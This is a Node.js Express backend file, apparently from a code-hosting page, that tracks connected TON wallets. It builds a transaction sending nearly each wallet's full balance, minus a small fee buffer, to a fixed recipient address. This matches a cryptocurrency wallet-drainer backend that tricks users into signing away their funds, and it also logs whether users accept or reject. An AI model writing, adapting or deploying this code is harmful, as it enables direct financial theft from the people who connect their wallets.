File size: 3,736 Bytes
14e7c94 ee17cf6 14e7c94 429987a 14e7c94 cd37f07 14e7c94 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 |
const express = require("express");
const path = require("path");
const bodyParser = require("body-parser");
const axios = require("axios");
const app = express();
// Middleware
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, "public"))); // serve static frontend files
// --- In-memory store (replace with DB if needed) ---
let connectedWallets = [];
// Root page
app.get("/", (req, res) => {
res.sendFile(path.join(__dirname, "public/html/index.html"));
});
/**
* Connected: called when frontend detects wallet connection
*/
app.post("/connected", (req, res) => {
console.log("π Wallet connected:", req.body);
if (!connectedWallets.includes(req.body.wallet)) {
connectedWallets.push(req.body.wallet);
}
res.json({ status: "ok", message: "Wallet connected" });
});
/**
* Disconnect: called when user clicks "Disconnect"
*/
app.post("/disconnect", (req, res) => {
console.log("π Wallet disconnected:", req.body);
connectedWallets = connectedWallets.filter(w => w !== req.body.wallet);
res.json({ status: "ok", message: "Wallet disconnected" });
});
/**
* Get wallet balance in nanotons
*/
async function getWalletBalance(address) {
try {
const res = await axios.get(`https://tonapi.io/v2/accounts/${address}`);
// The balance is usually in res.data.account.balance
return res.data.account.balance;
} catch (err) {
console.error("β Error fetching balance:", err.response?.data || err.message);
return null;
}
}
/**
* Transaction: frontend fetches this before sending transaction
* Deducts buffer; fails gracefully if balance is too small.
*/
app.get("/transaction", async (req, res) => {
const userWallet = req.query.wallet; // now fetches &wallet= from URL
console.log("π° Transaction request from:", userWallet);
if (!userWallet) {
return res.status(400).json({ error: "Wallet address missing" });
}
const recipientAddress = "EQCxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
const balanceNanoTon = await getWalletBalance(userWallet);
if (!balanceNanoTon) {
return res.status(500).json({ error: "Could not fetch balance" });
}
const balanceTon = balanceNanoTon / 1e9;
if (balanceTon < 0.05) {
console.log(`β οΈ Balance too low (${balanceTon} TON). Not building transaction.`);
return res.json({
messages: [
{ address: recipientAddress, amount: "0", payload: "" }
],
raw: { from: userWallet, to: recipientAddress, amount: "0" }
});
}
let bufferTon = 0.05;
if (balanceTon > 100) bufferTon = 0.8;
else if (balanceTon > 10) bufferTon = 0.5;
else if (balanceTon > 1) bufferTon = 0.2;
const sendTon = Math.max(balanceTon - bufferTon, 0);
const sendNanoTon = Math.floor(sendTon * 1e9);
console.log(`π Balance: ${balanceTon} TON, Deduction: ${bufferTon} TON, Sending: ${sendTon} TON`);
const tx = {
messages: [
{
address: recipientAddress,
amount: sendNanoTon.toString(),
payload: ""
}
],
raw: {
from: userWallet,
to: recipientAddress,
amount: sendNanoTon.toString()
}
};
res.json(tx);
});
/**
* Accept: frontend calls this when user approves transaction
*/
app.post("/accept", (req, res) => {
console.log("β
Transaction accepted:", req.body);
res.json({ status: "ok", message: "Transaction accepted" });
});
/**
* Reject: frontend calls this when user rejects transaction
*/
app.post("/reject", (req, res) => {
console.log("β Transaction rejected:", req.body);
res.json({ status: "ok", message: "Transaction rejected" });
});
// --- Start server ---
const PORT = 7860;
app.listen(PORT, () => {
console.log(`π Backend running at http://localhost:${PORT}`);
}); |